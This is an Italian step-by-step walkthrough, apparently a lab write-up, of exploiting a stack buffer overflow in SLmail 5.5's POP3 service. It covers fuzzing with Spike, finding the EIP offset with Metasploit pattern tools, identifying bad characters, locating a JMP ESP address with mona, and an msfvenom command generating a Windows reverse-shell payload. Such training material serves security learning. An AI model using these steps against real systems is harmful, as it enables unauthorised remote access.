
Buffer overflow in Seattle Lab Mail (SLmail) 5.5 - POP3
Buffer Overflow in Seattle Lab Mail (SLmail) 5.5 - POP3
Semplice buffer overflow basato sullo stack passo dopo passo
Nel primissimo passaggio eseguiremo il fuzz dell'applicazione con un semplice script Spike
nel frattempo avremo anche SLmail collegato[ed in esecuzione] al debugger Immunity
Altro su Spike:: https://resources.infosecinstitute.com/topic/intro-to-fuzzing/
Qui c'è un semplice script Spike chiamato spike_fuzz.spk
lo eseguiremo contro l'applicazione usando il comando
line_send_tcp 192.168.1.117 110 spike_fuzz.spk
dove 192.168.1.117 è l'IP della macchina target che esegue SLMail, in ascolto sulla porta 110

Nel frattempo, guardando Immunity, vedremo che l'applicazione è andata in crash

Ora creeremo un POC in Python che replica il crash e calcola i byte in corrispondenza dei quali l'applicazione va in crash
python poc_crash.py

Per trovare l'offset utilizzeremo msf
1. Prima genera un pattern
2. Annota l'EIP
3. Interroga quell'EIP e la lunghezza con MSF per trovare l'offset
msf-pattern_create -l 2700

In poc_offset.py utilizzeremo questo pattern come nostro buffer di overflow!
python poc_offset.py

A questo punto annotiamo anche il valore dell'EIP in Immunity, dove l'applicazione è andata in crash e si è messa in pausa

L'EIP è 39694438
::Per trovare l'offset::
msf-pattern_offset -l 2700 -q 39694438

l'offset è 2606, cioè 2606 byte prima di raggiungere l'EIP::: e l'EIP stesso è lungo 4 byte
Ora proveremo a sovrascrivere l'EIP con 4 B, cioè:: in Immunity dovremmo vedere 42424242 {Hex per 4 B}
python poc_eip_control.py

E ora, se controlliamo Immunity

Per mantenere le cose semplici e brevi
Puoi eseguire lo script poc_badchars.py e poi trovare i bad character da solo
Per farla breve
Questa applicazione ha due bad character {che sono anche quelli predefiniti}. Quando eseguiamo poc_badchars.py la prima volta, vedremo che il carattere \x0a fa i capricci, quindi lo rimuoveremo dal nostro payload di bad char e rieseguiremo lo script ,,, la seconda volta vedremo che il carattere \x0d viene saltato, quindi questo è il nostro secondo bad char e lo rimuoviamo dal payload :: dopo questo, quando eseguiamo lo script la terza volta, tutto è chiaro e funziona!
i badchars sono :: \x00\x0a\x0d
{null byte, avanzamento riga, ritorno a capo}
python poc_badchars.py
Prima troviamo il modulo giusto usando i moduli Mona in Immunity
slmfc.dll è il candidato più adatto perché non ha protezioni di memoria!

e ora troviamo un indirizzo JMP ESP in questa DLL
Questo indirizzo verrà scritto in EIP in modo da poter reindirizzare l'esecuzione del programma verso ESP, che comporterà l'esecuzione del nostro shellcode!
!mona find -s "\xff\xe4" -m slmfc.dll
{\xff\xe4 opcode equivalente di JMP ESP}

tra 19 indirizzi puntatore scegliamo il primo
Ora metteremo tutto insieme e otterremo una shell
1.) genera lo shellcode {escludendo i badchars}
2.) aggiungi l'indirizzo trovato {ricorda il Little Endian}
3.) aggiungi il buffer, l'indirizzo di ritorno, qualche nop-sled, lo shellcode
4.) abbiamo una shell
Generiamo rapidamente lo shellcode usando msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=<lstening-ip> LPORT=<listening-port> EXITFUNC=thread -f py -a x86 -b "\x00\x0a\x0d"

Mettiamo tutto insieme nel file exploit.py

Ora, questa volta, eseguiamo SLmail senza Immunity e ascoltiamo anche le connessioni in arrivo simultaneamente
Una volta fatto questo, eseguiremo lo script exploit.py finale!

ECCELLENTE, ABBIAMO UNA SHELL!